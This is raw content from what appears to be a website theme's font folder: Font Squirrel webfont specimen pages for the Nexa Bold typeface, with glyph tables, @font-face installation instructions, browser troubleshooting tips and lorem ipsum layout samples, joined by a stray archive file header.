																				 <div><p>&amp;#101;</p>&#101;</div>
																				 <div><p>&amp;#102;</p>&#102;</div>
																				 <div><p>&amp;#103;</p>&#103;</div>
																				 <div><p>&amp;#104;</p>&#104;</div>
																				 <div><p>&amp;#105;</p>&#105;</div>
																				 <div><p>&amp;#106;</p>&#106;</div>
																				 <div><p>&amp;#107;</p>&#107;</div>
																				 <div><p>&amp;#108;</p>&#108;</div>
																				 <div><p>&amp;#109;</p>&#109;</div>
																				 <div><p>&amp;#110;</p>&#110;</div>
																				 <div><p>&amp;#111;</p>&#111;</div>
																				 <div><p>&amp;#112;</p>&#112;</div>
																				 <div><p>&amp;#113;</p>&#113;</div>
																				 <div><p>&amp;#114;</p>&#114;</div>
																				 <div><p>&amp;#115;</p>&#115;</div>
																				 <div><p>&amp;#116;</p>&#116;</div>
																				 <div><p>&amp;#117;</p>&#117;</div>
																				 <div><p>&amp;#118;</p>&#118;</div>
																				 <div><p>&amp;#119;</p>&#119;</div>
																				 <div><p>&amp;#120;</p>&#120;</div>
																				 <div><p>&amp;#121;</p>&#121;</div>
																				 <div><p>&amp;#122;</p>&#122;</div>
																				 <div><p>&amp;#123;</p>&#123;</div>
																				 <div><p>&amp;#124;</p>&#124;</div>
																				 <div><p>&amp;#125;</p>&#125;</div>
																				 <div><p>&amp;#126;</p>&#126;</div>
																				 <div><p>&amp;#160;</p>&#160;</div>
																				 <div><p>&amp;#161;</p>&#161;</div>
																				 <div><p>&amp;#162;</p>&#162;</div>
																				 <div><p>&amp;#163;</p>&#163;</div>
																				 <div><p>&amp;#164;</p>&#164;</div>
																				 <div><p>&amp;#165;</p>&#165;</div>
																				 <div><p>&amp;#166;</p>&#166;</div>
																				 <div><p>&amp;#167;</p>&#167;</div>
																				 <div><p>&amp;#168;</p>&#168;</div>
																				 <div><p>&amp;#169;</p>&#169;</div>
																				 <div><p>&amp;#170;</p>&#170;</div>
																				 <div><p>&amp;#171;</p>&#171;</div>
																				 <div><p>&amp;#172;</p>&#172;</div>
																				 <div><p>&amp;#173;</p>&#173;</div>
																				 <div><p>&amp;#174;</p>&#174;</div>
																				 <div><p>&amp;#176;</p>&#176;</div>
																				 <div><p>&amp;#177;</p>&#177;</div>
																				 <div><p>&amp;#178;</p>&#178;</div>
																				 <div><p>&amp;#179;</p>&#179;</div>
																				 <div><p>&amp;#180;</p>&#180;</div>
																				 <div><p>&amp;#182;</p>&#182;</div>
																				 <div><p>&amp;#183;</p>&#183;</div>
																				 <div><p>&amp;#184;</p>&#184;</div>
																				 <div><p>&amp;#185;</p>&#185;</div>
																				 <div><p>&amp;#186;</p>&#186;</div>
																				 <div><p>&amp;#187;</p>&#187;</div>
																				 <div><p>&amp;#188;</p>&#188;</div>
																				 <div><p>&amp;#189;</p>&#189;</div>
																				 <div><p>&amp;#190;</p>&#190;</div>
																				 <div><p>&amp;#191;</p>&#191;</div>
																				 <div><p>&amp;#192;</p>&#192;</div>
																				 <div><p>&amp;#193;</p>&#193;</div>
																				 <div><p>&amp;#194;</p>&#194;</div>
																				 <div><p>&amp;#195;</p>&#195;</div>
																				 <div><p>&amp;#196;</p>&#196;</div>
																				 <div><p>&amp;#197;</p>&#197;</div>
																				 <div><p>&amp;#198;</p>&#198;</div>
																				 <div><p>&amp;#199;</p>&#199;</div>
																				 <div><p>&amp;#200;</p>&#200;</div>
																				 <div><p>&amp;#201;</p>&#201;</div>
																				 <div><p>&amp;#202;</p>&#202;</div>
																				 <div><p>&amp;#203;</p>&#203;</div>
																				 <div><p>&amp;#204;</p>&#204;</div>
																				 <div><p>&amp;#205;</p>&#205;</div>
																				 <div><p>&amp;#206;</p>&#206;</div>
																				 <div><p>&amp;#207;</p>&#207;</div>
																				 <div><p>&amp;#208;</p>&#208;</div>
																				 <div><p>&amp;#209;</p>&#209;</div>
																				 <div><p>&amp;#210;</p>&#210;</div>
																				 <div><p>&amp;#211;</p>&#211;</div>
																				 <div><p>&amp;#212;</p>&#212;</div>
																				 <div><p>&amp;#213;</p>&#213;</div>
																				 <div><p>&amp;#214;</p>&#214;</div>
																				 <div><p>&amp;#215;</p>&#215;</div>
																				 <div><p>&amp;#216;</p>&#216;</div>
																				 <div><p>&amp;#217;</p>&#217;</div>
																				 <div><p>&amp;#218;</p>&#218;</div>
																				 <div><p>&amp;#219;</p>&#219;</div>
																				 <div><p>&amp;#220;</p>&#220;</div>
																				 <div><p>&amp;#221;</p>&#221;</div>
																				 <div><p>&amp;#222;</p>&#222;</div>
																				 <div><p>&amp;#223;</p>&#223;</div>
																				 <div><p>&amp;#224;</p>&#224;</div>
																				 <div><p>&amp;#225;</p>&#225;</div>
																				 <div><p>&amp;#226;</p>&#226;</div>
																				 <div><p>&amp;#227;</p>&#227;</div>
																				 <div><p>&amp;#228;</p>&#228;</div>
																				 <div><p>&amp;#229;</p>&#229;</div>
																				 <div><p>&amp;#230;</p>&#230;</div>
																				 <div><p>&amp;#231;</p>&#231;</div>
																				 <div><p>&amp;#232;</p>&#232;</div>
																				 <div><p>&amp;#233;</p>&#233;</div>
																				 <div><p>&amp;#234;</p>&#234;</div>
																				 <div><p>&amp;#235;</p>&#235;</div>
																				 <div><p>&amp;#236;</p>&#236;</div>
																				 <div><p>&amp;#237;</p>&#237;</div>
																				 <div><p>&amp;#238;</p>&#238;</div>
																				 <div><p>&amp;#239;</p>&#239;</div>
																				 <div><p>&amp;#240;</p>&#240;</div>
																				 <div><p>&amp;#241;</p>&#241;</div>
																				 <div><p>&amp;#242;</p>&#242;</div>
																				 <div><p>&amp;#243;</p>&#243;</div>
																				 <div><p>&amp;#244;</p>&#244;</div>
																				 <div><p>&amp;#245;</p>&#245;</div>
																				 <div><p>&amp;#246;</p>&#246;</div>
																				 <div><p>&amp;#247;</p>&#247;</div>
																				 <div><p>&amp;#248;</p>&#248;</div>
																				 <div><p>&amp;#249;</p>&#249;</div>
																				 <div><p>&amp;#250;</p>&#250;</div>
																				 <div><p>&amp;#251;</p>&#251;</div>
																				 <div><p>&amp;#252;</p>&#252;</div>
																				 <div><p>&amp;#253;</p>&#253;</div>
																				 <div><p>&amp;#254;</p>&#254;</div>
																				 <div><p>&amp;#255;</p>&#255;</div>
																				 <div><p>&amp;#338;</p>&#338;</div>
																				 <div><p>&amp;#339;</p>&#339;</div>
																				 <div><p>&amp;#376;</p>&#376;</div>
																				 <div><p>&amp;#710;</p>&#710;</div>
																				 <div><p>&amp;#732;</p>&#732;</div>
																				 <div><p>&amp;#8192;</p>&#8192;</div>
																				 <div><p>&amp;#8193;</p>&#8193;</div>
																				 <div><p>&amp;#8194;</p>&#8194;</div>
																				 <div><p>&amp;#8195;</p>&#8195;</div>
																				 <div><p>&amp;#8196;</p>&#8196;</div>
																				 <div><p>&amp;#8197;</p>&#8197;</div>
																				 <div><p>&amp;#8198;</p>&#8198;</div>
																				 <div><p>&amp;#8199;</p>&#8199;</div>
																				 <div><p>&amp;#8200;</p>&#8200;</div>
																				 <div><p>&amp;#8201;</p>&#8201;</div>
																				 <div><p>&amp;#8202;</p>&#8202;</div>
																				 <div><p>&amp;#8208;</p>&#8208;</div>
																				 <div><p>&amp;#8209;</p>&#8209;</div>
																				 <div><p>&amp;#8210;</p>&#8210;</div>
																				 <div><p>&amp;#8211;</p>&#8211;</div>
																				 <div><p>&amp;#8212;</p>&#8212;</div>
																				 <div><p>&amp;#8216;</p>&#8216;</div>
																				 <div><p>&amp;#8217;</p>&#8217;</div>
																				 <div><p>&amp;#8218;</p>&#8218;</div>
																				 <div><p>&amp;#8220;</p>&#8220;</div>
																				 <div><p>&amp;#8221;</p>&#8221;</div>
																				 <div><p>&amp;#8222;</p>&#8222;</div>
																				 <div><p>&amp;#8226;</p>&#8226;</div>
																				 <div><p>&amp;#8230;</p>&#8230;</div>
																				 <div><p>&amp;#8239;</p>&#8239;</div>
																				 <div><p>&amp;#8249;</p>&#8249;</div>
																				 <div><p>&amp;#8250;</p>&#8250;</div>
																				 <div><p>&amp;#8287;</p>&#8287;</div>
																				 <div><p>&amp;#8364;</p>&#8364;</div>
																				 <div><p>&amp;#8482;</p>&#8482;</div>
																				 <div><p>&amp;#57344;</p>&#57344;</div>
																				 <div><p>&amp;#64257;</p>&#64257;</div>
																				 <div><p>&amp;#64258;</p>&#64258;</div>
																												</div>	
				</div>
		
		
			</div>
		</div>
		
		
		<div id="specs">
			
		</div>
	
		<div id="installing">
			<div class="section">
				<div class="grid7 firstcol">
					<h1>Installing Webfonts</h1>
					
					<p>Webfonts are supported by all major browser platforms but not all in the same way. There are currently four different font formats that must be included in order to target all browsers. This includes TTF, WOFF, EOT and SVG.</p>
					
					<h2>1. Upload your webfonts</h2>
					<p>You must upload your webfont kit to your website. They should be in or near the same directory as your CSS files.</p>
					
					<h2>2. Include the webfont stylesheet</h2>
					<p>A special CSS @font-face declaration helps the various browsers select the appropriate font it needs without causing you a bunch of headaches. Learn more about this syntax by reading the <a href="http://www.fontspring.com/blog/further-hardening-of-the-bulletproof-syntax">Fontspring blog post</a> about it. The code for it is as follows:</p>


<code>
@font-face{ 
	font-family: 'MyWebFont';
	src: url('WebFont.eot');
	src: url('WebFont.eot?#iefix') format('embedded-opentype'),
	     url('WebFont.woff') format('woff'),
	     url('WebFont.ttf') format('truetype'),
	     url('WebFont.svg#webfont') format('svg');
}
</code>

	<p>We've already gone ahead and generated the code for you. All you have to do is link to the stylesheet in your HTML, like this:</p>
	<code>&lt;link rel=&quot;stylesheet&quot; href=&quot;stylesheet.css&quot; type=&quot;text/css&quot; charset=&quot;utf-8&quot; /&gt;</code>

					<h2>3. Modify your own stylesheet</h2>
					<p>To take advantage of your new fonts, you must tell your stylesheet to use them. Look at the original @font-face declaration above and find the property called "font-family." The name linked there will be what you use to reference the font. Prepend that webfont name to the font stack in the "font-family" property, inside the selector you want to change. For example:</p>
<code>p { font-family: 'WebFont', Arial, sans-serif; }</code>

<h2>4. Test</h2>
<p>Getting webfonts to work cross-browser <em>can</em> be tricky. Use the information in the sidebar to help you if you find that fonts aren't loading in a particular browser.</p>
				</div>
				
				<div class="grid5 sidebar">
					<div class="box">
						<h2>Troubleshooting<br />Font-Face Problems</h2>
						<p>Having trouble getting your webfonts to load in your new website? Here are some tips to sort out what might be the problem.</p>

						<h3>Fonts not showing in any browser</h3>

						<p>This sounds like you need to work on the plumbing. You either did not upload the fonts to the correct directory, or you did not link the fonts properly in the CSS. If you've confirmed that all this is correct and you still have a problem, take a look at your .htaccess file and see if requests are getting intercepted.</p>

						<h3>Fonts not loading in iPhone or iPad</h3>

						<p>The most common problem here is that you are serving the fonts from an IIS server. IIS refuses to serve files that have unknown MIME types. If that is the case, you must set the MIME type for SVG to "image/svg+xml" in the server settings. Follow these instructions from Microsoft if you need help.</p>

						<h3>Fonts not loading in Firefox</h3>

						<p>The primary reason for this failure? You are still using a version Firefox older than 3.5. So upgrade already! If that isn't it, then you are very likely serving fonts from a different domain. Firefox requires that all font assets be served from the same domain. Lastly it is possible that you need to add WOFF to your list of MIME types (if you are serving via IIS.)</p>

						<h3>Fonts not loading in IE</h3>

						<p>Are you looking at Internet Explorer on an actual Windows machine or are you cheating by using a service like Adobe BrowserLab? Many of these screenshot services do not render @font-face for IE. Best to test it on a real machine.</p>

						<h3>Fonts not loading in IE9</h3>

						<p>IE9, like Firefox, requires that fonts be served from the same domain as the website. Make sure that is the case.</p>
					</div>
				</div>
			</div>
			
		</div>
	
	</div>
	<div id="footer">
		<p>&copy;2010-2011 Font Squirrel. All rights reserved.</p>
	</div>
</div>
</body>
</html>
PK!ΰp����/bluetheme/assets/fonts/Nexa/nexa_bold-demo.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript" charset="utf-8"></script>
	<script src="specimen_files/easytabs.js" type="text/javascript" charset="utf-8"></script>
	<link rel="stylesheet" href="specimen_files/specimen_stylesheet.css" type="text/css" charset="utf-8" />
	<link rel="stylesheet" href="stylesheet.css" type="text/css" charset="utf-8" />

	<style type="text/css">
					body{
				font-family: 'nexa_boldregular';
							}
		</style>

	<title>Nexa Bold Regular Specimen</title>
	
	
	<script type="text/javascript" charset="utf-8">
		$(document).ready(function() {
			$('#container').easyTabs({defaultContent:1});
		});
	</script>
</head>

<body>
<div id="container">
	<div id="header">
		Nexa Bold Regular	</div>
	<ul class="tabs">
		<li><a href="#specimen">Specimen</a></li>
		<li><a href="#layout">Sample Layout</a></li>
				<li><a href="#glyphs">Glyphs &amp; Languages</a></li>
		<li><a href="#installing">Installing Webfonts</a></li>
		
	</ul>
	
	<div id="main_content">

		
			<div id="specimen">
		
				<div class="section">
					<div class="grid12 firstcol">
						<div class="huge">AaBb</div>
					</div>
				</div>
		
				<div class="section">
					<div class="glyph_range">A&#x200B;B&#x200b;C&#x200b;D&#x200b;E&#x200b;F&#x200b;G&#x200b;H&#x200b;I&#x200b;J&#x200b;K&#x200b;L&#x200b;M&#x200b;N&#x200b;O&#x200b;P&#x200b;Q&#x200b;R&#x200b;S&#x200b;T&#x200b;U&#x200b;V&#x200b;W&#x200b;X&#x200b;Y&#x200b;Z&#x200b;a&#x200b;b&#x200b;c&#x200b;d&#x200b;e&#x200b;f&#x200b;g&#x200b;h&#x200b;i&#x200b;j&#x200b;k&#x200b;l&#x200b;m&#x200b;n&#x200b;o&#x200b;p&#x200b;q&#x200b;r&#x200b;s&#x200b;t&#x200b;u&#x200b;v&#x200b;w&#x200b;x&#x200b;y&#x200b;z&#x200b;1&#x200b;2&#x200b;3&#x200b;4&#x200b;5&#x200b;6&#x200b;7&#x200b;8&#x200b;9&#x200b;0&#x200b;&amp;&#x200b;.&#x200b;,&#x200b;?&#x200b;!&#x200b;&#64;&#x200b;(&#x200b;)&#x200b;#&#x200b;$&#x200b;%&#x200b;*&#x200b;+&#x200b;-&#x200b;=&#x200b;:&#x200b;;</div>
				</div>
				<div class="section">
					<div class="grid12 firstcol">
						<table class="sample_table">
							<tr><td>10</td><td class="size10">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>11</td><td class="size11">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>12</td><td class="size12">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>13</td><td class="size13">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>14</td><td class="size14">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>16</td><td class="size16">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>18</td><td class="size18">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>20</td><td class="size20">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>24</td><td class="size24">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>30</td><td class="size30">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>36</td><td class="size36">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>48</td><td class="size48">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>60</td><td class="size60">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>72</td><td class="size72">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
							<tr><td>90</td><td class="size90">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr>
						</table>
				
					</div>
			
				</div>
		
		
		
								<div class="section" id="bodycomparison">


										<div id="xheight">
				<div class="fontbody">&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;&#xE000;body</div><div class="arialbody">body</div><div class="verdanabody">body</div><div class="georgiabody">body</div></div>
										<div class="fontbody" style="z-index:1">
											body<span>Nexa Bold Regular</span>
										</div>
										<div class="arialbody" style="z-index:1">
											body<span>Arial</span>
										</div>
										<div class="verdanabody" style="z-index:1">
											body<span>Verdana</span>
										</div>
										<div class="georgiabody" style="z-index:1">
											body<span>Georgia</span>
										</div>



								</div>
		
		
				<div class="section psample psample_row1" id="">
					
					<div class="grid2 firstcol">
						<p class="size10"><span>10.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid3">
						<p class="size11"><span>11.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid3">
						<p class="size12"><span>12.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid4">
						<p class="size13"><span>13.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="white_blend"></div>
					
				</div>
				<div class="section psample psample_row2" id="">
					<div class="grid3 firstcol">
						<p class="size14"><span>14.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid4">
						<p class="size16"><span>16.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid5">
						<p class="size18"><span>18.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>

					<div class="white_blend"></div>

				</div>
				
				<div class="section psample psample_row3" id="">
					<div class="grid5 firstcol">
						<p class="size20"><span>20.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					<div class="grid7">
						<p class="size24"><span>24.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					
					<div class="white_blend"></div>
					
				</div>
				
				<div class="section psample psample_row4" id="">
					<div class="grid12 firstcol">
						<p class="size30"><span>30.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					<div class="white_blend"></div>
					
				</div>
				
				
				
				<div class="section psample psample_row1 fullreverse">
					<div class="grid2 firstcol">
						<p class="size10"><span>10.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid3">
						<p class="size11"><span>11.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid3">
						<p class="size12"><span>12.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid4">
						<p class="size13"><span>13.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="black_blend"></div>
					
				</div>
				
				<div class="section psample psample_row2 fullreverse">
					<div class="grid3 firstcol">
						<p class="size14"><span>14.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid4">
						<p class="size16"><span>16.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="grid5">
						<p class="size18"><span>18.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
			
					</div>
					<div class="black_blend"></div>

				</div>
				
				<div class="section psample fullreverse psample_row3" id="">
					<div class="grid5 firstcol">
						<p class="size20"><span>20.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					<div class="grid7">
						<p class="size24"><span>24.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					
					<div class="black_blend"></div>
					
				</div>
				
				<div class="section psample fullreverse psample_row4" id="" style="border-bottom: 20px #000 solid;">
					<div class="grid12 firstcol">
						<p class="size30"><span>30.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.</p>
					</div>
					<div class="black_blend"></div>
					
				</div>
				
				
				
				
			</div>
			
			<div id="layout">
				
				<div class="section">
					
					<div class="grid12 firstcol">
						<h1>Lorem Ipsum Dolor</h1>
						<h2>Etiam porta sem malesuada magna mollis euismod</h2>
						
						<p class="byline">By <a href="#link">Aenean Lacinia</a></p>
					</div>
				</div>
				<div class="section">
					<div class="grid8 firstcol">
						<p class="large">Donec sed odio dui. Morbi leo risus, porta ac consectetur ac, vestibulum at eros. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. </p>

						
						<h3>Pellentesque ornare sem</h3>

						<p>Maecenas sed diam eget risus varius blandit sit amet non magna. Maecenas faucibus mollis interdum. Donec ullamcorper nulla non metus auctor fringilla. Nullam id dolor id nibh ultricies vehicula ut id elit. Nullam id dolor id nibh ultricies vehicula ut id elit. </p>

						<p>Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. </p>

						<p>Nulla vitae elit libero, a pharetra augue. Praesent commodo cursus magna, vel scelerisque nisl consectetur et. Aenean lacinia bibendum nulla sed consectetur. </p>

